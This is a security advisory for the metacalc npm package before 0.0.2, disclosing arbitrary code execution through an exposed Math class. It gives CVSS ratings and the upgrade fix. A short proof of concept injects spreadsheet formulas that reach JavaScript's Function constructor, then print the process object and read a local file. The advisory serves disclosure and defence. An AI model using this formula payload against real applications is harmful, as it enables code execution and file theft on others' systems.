Arbitrary Code Execution Affecting metacalc package, versions <0.0.2


0.0
critical

Snyk CVSS

    Exploit Maturity Proof of concept
    Attack Complexity High
    Scope Changed
    Confidentiality High
    Integrity High
    Availability High
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-METACALC-2826197
  • published 30 May 2022
  • disclosed 17 May 2022
  • credit Vladyslav Dukhin

How to fix?

Upgrade metacalc to version 0.0.2 or higher.

Overview

metacalc is a Spreadsheet calculations for Metarhia

Affected versions of this package are vulnerable to Arbitrary Code Execution when it exposes JavaScript's Math class to the v8 context. As the Math class is exposed to user-land, it can be used to get access to JavaScript's Function constructor.

PoC

const { Sheet } = require('metacalc');

const sheet = new Sheet();

sheet.cells['A1'] = '=Math.ceil.constructor("console.log(process)")()';
console.log(sheet.values['A1']);

sheet.cells['A3'] = '=Math.ceil.constructor("console.log(process.mainModule.require(\'fs\').readFileSync(\'./poc.js\', \'utf-8\'))")()';
console.log(sheet.values['A3']);